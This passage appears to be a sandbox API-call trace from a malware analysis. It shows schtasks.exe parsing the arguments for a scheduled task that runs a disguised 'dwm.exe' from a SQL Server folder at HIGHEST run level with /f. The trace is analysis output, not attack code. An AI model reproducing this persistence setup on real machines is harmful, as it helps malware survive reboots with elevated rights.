[0106.025] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0106.026] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.026] lstrlenW (lpString="end") returned 3 [0106.026] lstrlenW (lpString="end") returned 3 [0106.026] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.026] lstrlenW (lpString="tr") returned 2 [0106.026] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.026] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|end|") returned 5 [0106.026] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|tr|") returned 4 [0106.026] lstrlenW (lpString="|end|") returned 5 [0106.026] lstrlenW (lpString="|tr|") returned 4 [0106.026] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0106.026] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.026] lstrlenW (lpString="showsid") returned 7 [0106.026] lstrlenW (lpString="showsid") returned 7 [0106.026] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.026] lstrlenW (lpString="tr") returned 2 [0106.026] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.026] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|showsid|") returned 9 [0106.026] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|tr|") returned 4 [0106.026] lstrlenW (lpString="|showsid|") returned 9 [0106.026] lstrlenW (lpString="|tr|") returned 4 [0106.026] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0106.026] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.026] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.026] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.026] lstrlenW (lpString="/tr") returned 3 [0106.026] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0106.026] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.027] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.027] lstrlenW (lpString="/tr") returned 3 [0106.027] GetProcessHeap () returned 0x1f4ae8c0000 [0106.027] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x8) returned 0x1f4ae8c4770 [0106.027] GetProcessHeap () returned 0x1f4ae8c0000 [0106.027] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cb4f0 [0106.027] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.027] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.027] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0106.027] lstrlenW (lpString="-/") returned 2 [0106.027] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0106.027] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.027] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.027] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.027] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0106.027] StrChrIW (lpStart="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'", wMatch=0x3a) returned=":\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'" [0106.027] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0106.027] GetProcessHeap () returned 0x1f4ae8c0000 [0106.027] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x18) returned 0x1f4ae8c4790 [0106.027] _memicmp (_Buf1=0x1f4ae8c4790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.027] GetProcessHeap () returned 0x1f4ae8c0000 [0106.027] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0xe) returned 0x1f4ae8c47b0 [0106.027] GetProcessHeap () returned 0x1f4ae8c0000 [0106.027] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x18) returned 0x1f4ae8ca980 [0106.027] _memicmp (_Buf1=0x1f4ae8ca980, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.027] GetProcessHeap () returned 0x1f4ae8c0000 [0106.027] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x78) returned 0x1f4ae8c3b60 [0106.030] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.030] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.030] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.030] lstrlenW (lpString="'C") returned 2 [0106.030] lstrlenW (lpString="-/") returned 2 [0106.030] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0106.030] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.030] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.030] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.030] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0106.030] GetProcessHeap () returned 0x1f4ae8c0000 [0106.030] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x76) returned 0x1f4ae8c3be0 [0106.030] GetProcessHeap () returned 0x1f4ae8c0000 [0106.030] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cb5e0 [0106.031] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.031] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.031] lstrlenW (lpString="/rl") returned 3 [0106.031] lstrlenW (lpString="-/") returned 2 [0106.031] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0106.031] lstrlenW (lpString="?") returned 1 [0106.031] lstrlenW (lpString="?") returned 1 [0106.031] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.031] lstrlenW (lpString="rl") returned 2 [0106.031] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.031] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|?|") returned 3 [0106.031] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|rl|") returned 4 [0106.031] lstrlenW (lpString="|?|") returned 3 [0106.031] lstrlenW (lpString="|rl|") returned 4 [0106.031] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.031] lstrlenW (lpString="create") returned 6 [0106.031] lstrlenW (lpString="create") returned 6 [0106.031] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.031] lstrlenW (lpString="rl") returned 2 [0106.031] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.031] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|create|") returned 8 [0106.031] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|rl|") returned 4 [0106.031] lstrlenW (lpString="|create|") returned 8 [0106.031] lstrlenW (lpString="|rl|") returned 4 [0106.031] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0106.032] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.032] lstrlenW (lpString="delete") returned 6 [0106.032] lstrlenW (lpString="delete") returned 6 [0106.032] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.032] lstrlenW (lpString="rl") returned 2 [0106.032] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.032] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|delete|") returned 8 [0106.032] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|rl|") returned 4 [0106.032] lstrlenW (lpString="|delete|") returned 8 [0106.032] lstrlenW (lpString="|rl|") returned 4 [0106.032] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0106.032] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.032] lstrlenW (lpString="query") returned 5 [0106.032] lstrlenW (lpString="query") returned 5 [0106.032] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.032] lstrlenW (lpString="rl") returned 2 [0106.032] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.032] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|query|") returned 7 [0106.032] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|rl|") returned 4 [0106.032] lstrlenW (lpString="|query|") returned 7 [0106.032] lstrlenW (lpString="|rl|") returned 4 [0106.032] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0106.032] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.032] lstrlenW (lpString="change") returned 6 [0106.032] lstrlenW (lpString="change") returned 6 [0106.032] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.033] lstrlenW (lpString="rl") returned 2 [0106.033] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.033] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|change|") returned 8 [0106.033] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|rl|") returned 4 [0106.033] lstrlenW (lpString="|change|") returned 8 [0106.033] lstrlenW (lpString="|rl|") returned 4 [0106.033] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0106.033] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.033] lstrlenW (lpString="run") returned 3 [0106.033] lstrlenW (lpString="run") returned 3 [0106.033] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.033] lstrlenW (lpString="rl") returned 2 [0106.033] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.033] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|run|") returned 5 [0106.033] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|rl|") returned 4 [0106.033] lstrlenW (lpString="|run|") returned 5 [0106.033] lstrlenW (lpString="|rl|") returned 4 [0106.033] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0106.033] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.033] lstrlenW (lpString="end") returned 3 [0106.033] lstrlenW (lpString="end") returned 3 [0106.033] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.033] lstrlenW (lpString="rl") returned 2 [0106.033] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.033] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|end|") returned 5 [0106.034] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|rl|") returned 4 [0106.034] lstrlenW (lpString="|end|") returned 5 [0106.034] lstrlenW (lpString="|rl|") returned 4 [0106.034] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0106.034] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.034] lstrlenW (lpString="showsid") returned 7 [0106.034] lstrlenW (lpString="showsid") returned 7 [0106.034] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.034] lstrlenW (lpString="rl") returned 2 [0106.034] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.034] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|showsid|") returned 9 [0106.034] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|rl|") returned 4 [0106.034] lstrlenW (lpString="|showsid|") returned 9 [0106.034] lstrlenW (lpString="|rl|") returned 4 [0106.034] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0106.034] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.034] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.034] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.034] lstrlenW (lpString="/rl") returned 3 [0106.034] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0106.034] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.034] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.034] lstrlenW (lpString="/rl") returned 3 [0106.034] GetProcessHeap () returned 0x1f4ae8c0000 [0106.034] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x8) returned 0x1f4ae8c47d0 [0106.034] GetProcessHeap () returned 0x1f4ae8c0000 [0106.034] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cba90 [0106.035] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.035] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.035] lstrlenW (lpString="HIGHEST") returned 7 [0106.035] lstrlenW (lpString="-/") returned 2 [0106.035] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0106.035] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.035] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.035] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.035] lstrlenW (lpString="HIGHEST") returned 7 [0106.035] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0106.035] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.035] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.035] lstrlenW (lpString="HIGHEST") returned 7 [0106.035] GetProcessHeap () returned 0x1f4ae8c0000 [0106.035] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x10) returned 0x1f4ae8caa40 [0106.035] GetProcessHeap () returned 0x1f4ae8c0000 [0106.035] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cb520 [0106.035] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.035] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.035] lstrlenW (lpString="/f") returned 2 [0106.035] lstrlenW (lpString="-/") returned 2 [0106.035] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0106.035] lstrlenW (lpString="?") returned 1 [0106.035] lstrlenW (lpString="?") returned 1 [0106.035] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.035] lstrlenW (lpString="f") returned 1 [0106.035] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.035] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|?|") returned 3 [0106.036] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|f|") returned 3 [0106.036] lstrlenW (lpString="|?|") returned 3 [0106.036] lstrlenW (lpString="|f|") returned 3 [0106.036] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0106.036] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.036] lstrlenW (lpString="create") returned 6 [0106.036] lstrlenW (lpString="create") returned 6 [0106.036] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.036] lstrlenW (lpString="f") returned 1 [0106.036] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.036] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|create|") returned 8 [0106.036] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|f|") returned 3 [0106.036] lstrlenW (lpString="|create|") returned 8 [0106.036] lstrlenW (lpString="|f|") returned 3 [0106.036] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0106.036] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.036] lstrlenW (lpString="delete") returned 6 [0106.036] lstrlenW (lpString="delete") returned 6 [0106.036] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.036] lstrlenW (lpString="f") returned 1 [0106.036] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.036] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|delete|") returned 8 [0106.036] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|f|") returned 3 [0106.036] lstrlenW (lpString="|delete|") returned 8 [0106.036] lstrlenW (lpString="|f|") returned 3 [0106.037] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0106.037] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.037] lstrlenW (lpString="query") returned 5 [0106.037] lstrlenW (lpString="query") returned 5 [0106.037] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.037] lstrlenW (lpString="f") returned 1 [0106.037] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.037] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|query|") returned 7 [0106.037] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|f|") returned 3 [0106.037] lstrlenW (lpString="|query|") returned 7 [0106.037] lstrlenW (lpString="|f|") returned 3 [0106.037] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0106.037] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.037] lstrlenW (lpString="change") returned 6 [0106.037] lstrlenW (lpString="change") returned 6 [0106.037] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.037] lstrlenW (lpString="f") returned 1 [0106.037] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.037] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|change|") returned 8 [0106.037] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|f|") returned 3 [0106.037] lstrlenW (lpString="|change|") returned 8 [0106.037] lstrlenW (lpString="|f|") returned 3 [0106.037] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0106.037] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.037] lstrlenW (lpString="run") returned 3 [0106.037] lstrlenW (lpString="run") returned 3 [0106.038] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.038] lstrlenW (lpString="f") returned 1 [0106.038] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.038] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|run|") returned 5 [0106.038] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|f|") returned 3 [0106.038] lstrlenW (lpString="|run|") returned 5 [0106.038] lstrlenW (lpString="|f|") returned 3 [0106.038] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0106.038] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.038] lstrlenW (lpString="end") returned 3 [0106.038] lstrlenW (lpString="end") returned 3 [0106.038] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.038] lstrlenW (lpString="f") returned 1 [0106.038] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.038] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|end|") returned 5 [0106.038] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|f|") returned 3 [0106.038] lstrlenW (lpString="|end|") returned 5 [0106.038] lstrlenW (lpString="|f|") returned 3 [0106.038] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0106.038] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.038] lstrlenW (lpString="showsid") returned 7 [0106.038] lstrlenW (lpString="showsid") returned 7 [0106.038] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.038] lstrlenW (lpString="f") returned 1 [0106.038] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.038] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|showsid|") returned 9 [0106.039] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cf188 | out: _Buffer="|f|") returned 3 [0106.039] lstrlenW (lpString="|showsid|") returned 9 [0106.039] lstrlenW (lpString="|f|") returned 3 [0106.039] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0106.039] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.039] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.039] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.039] lstrlenW (lpString="/f") returned 2 [0106.039] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0106.039] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.039] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.039] lstrlenW (lpString="/f") returned 2 [0106.039] GetProcessHeap () returned 0x1f4ae8c0000 [0106.039] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x6) returned 0x1f4ae8c3c60 [0106.039] GetProcessHeap () returned 0x1f4ae8c0000 [0106.039] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cba30 [0106.039] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.039] GetProcessHeap () returned 0x1f4ae8c0000 [0106.039] GetProcessHeap () returned 0x1f4ae8c0000 [0106.039] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c4390) returned 1 [0106.039] GetProcessHeap () returned 0x1f4ae8c0000 [0106.039] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c4390) returned 0x8 [0106.039] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c4390) returned 1 [0106.039] GetProcessHeap () returned 0x1f4ae8c0000 [0106.039] GetProcessHeap () returned 0x1f4ae8c0000 [0106.039] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cb700) returned 1 [0106.039] GetProcessHeap () returned 0x1f4ae8c0000 [0106.039] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cb700) returned 0x20 [0106.040] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cb700) returned 1 [0106.040] GetProcessHeap () returned 0x1f4ae8c0000 [0106.040] GetProcessHeap () returned 0x1f4ae8c0000 [0106.040] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c4710) returned 1 [0106.040] GetProcessHeap () returned 0x1f4ae8c0000 [0106.040] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c4710) returned 0x8 [0106.040] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c4710) returned 1 [0106.040] GetProcessHeap () returned 0x1f4ae8c0000 [0106.040] GetProcessHeap () returned 0x1f4ae8c0000 [0106.041] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cb3d0) returned 1 [0106.041] GetProcessHeap () returned 0x1f4ae8c0000 [0106.041] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cb3d0) returned 0x20 [0106.041] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cb3d0) returned 1 [0106.041] GetProcessHeap () returned 0x1f4ae8c0000 [0106.041] GetProcessHeap () returned 0x1f4ae8c0000 [0106.041] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c4730) returned 1 [0106.041] GetProcessHeap () returned 0x1f4ae8c0000 [0106.041] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c4730) returned 0x8 [0106.041] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c4730) returned 1 [0106.041] GetProcessHeap () returned 0x1f4ae8c0000 [0106.041] GetProcessHeap () returned 0x1f4ae8c0000 [0106.041] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cb550) returned 1 [0106.041] GetProcessHeap () returned 0x1f4ae8c0000 [0106.041] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cb550) returned 0x20 [0106.041] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cb550) returned 1 [0106.042] GetProcessHeap () returned 0x1f4ae8c0000 [0106.042] GetProcessHeap () returned 0x1f4ae8c0000 [0106.042] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c4750) returned 1 [0106.042] GetProcessHeap () returned 0x1f4ae8c0000 [0106.042] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c4750) returned 0x10 [0106.042] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c4750) returned 1 [0106.042] GetProcessHeap () returned 0x1f4ae8c0000 [0106.042] GetProcessHeap () returned 0x1f4ae8c0000 [0106.042] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cb880) returned 1 [0106.042] GetProcessHeap () returned 0x1f4ae8c0000 [0106.042] RtlSizeHeap 